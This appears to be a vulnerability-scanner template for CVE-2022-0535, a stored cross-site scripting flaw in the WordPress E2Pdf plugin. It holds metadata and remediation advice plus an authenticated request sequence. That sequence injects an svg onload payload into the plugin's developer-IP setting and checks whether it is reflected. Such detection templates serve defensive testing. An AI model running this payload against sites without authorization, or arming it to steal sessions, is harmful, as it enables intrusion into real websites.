WordPress E2Pdf <1.16.45 - Cross-Site Scripting

id: CVE-2022-0535

info:
  name: WordPress E2Pdf <1.16.45 - Cross-Site Scripting
  author: theamanrawat
  severity: medium
  description: |
    WordPress E2Pdf plugin before 1.16.45 contains a cross-site scripting vulnerability. The plugin does not sanitize and escape some of its settings, even when the unfiltered_html capability is disallowed. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site, making it possible to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the WordPress E2Pdf plugin to version 1.16.45 or later to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/a4162e96-a3c5-4f38-a60b-aa3ed9508985
    - https://wordpress.org/plugins/e2pdf/
    - https://mikadmin.fr/tech/XSS-Stored-E2Pdf-798ef69b0e13c36acf5446358d57c965Dx90666bNvCw98.pdf
    - https://nvd.nist.gov/vuln/detail/CVE-2022-0535
    - https://plugins.trac.wordpress.org/changeset/2675049/e2pdf
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 4.8
    cve-id: CVE-2022-0535
    cwe-id: CWE-79
    epss-score: 0.01262
    epss-percentile: 0.69896
    cpe: cpe:2.3:a:e2pdf:e2pdf:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 4
    vendor: e2pdf
    product: e2pdf
    framework: wordpress
  tags: cve,cve2022,wp-plugin,xss,authenticated,e2pdf,wpscan,wordpress,wp,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _nonce={{nonce}}&e2pdf_user_email=&e2pdf_api=api.e2pdf.com&e2pdf_connection_timeout=300&e2pdf_processor=0&e2pdf_dev_update=0&e2pdf_url_format=siteurl&e2pdf_mod_rewrite=0&e2pdf_mod_rewrite_url=e2pdf%2F%25uid%25%2F&e2pdf_cache=0&e2pdf_cache=1&e2pdf_cache_fonts=0&e2pdf_cache_fonts=1&e2pdf_debug=0&e2pdf_hide_warnings=0&e2pdf_images_remote_request=0&e2pdf_images_timeout=30&e2pdf_revisions_limit=3&e2pdf_memory_time=0&e2pdf_developer=0&e2pdf_developer_ips=%3C%2Ftextarea%3E%3Csvg%2Fonload%3Dalert%28document.domain%29%3E&submit=Save+Changes
      - |
        GET /wp-admin/admin.php?page=e2pdf-settings HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains(body_4, 'placeholder=\"Developer IPs\" ></textarea><svg/onload=alert(document.domain)>')
          - contains(header_4, "text/html")
          - status_code_4 == 200
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'name="_nonce" value="([0-9a-zA-Z]+)"'
        internal: true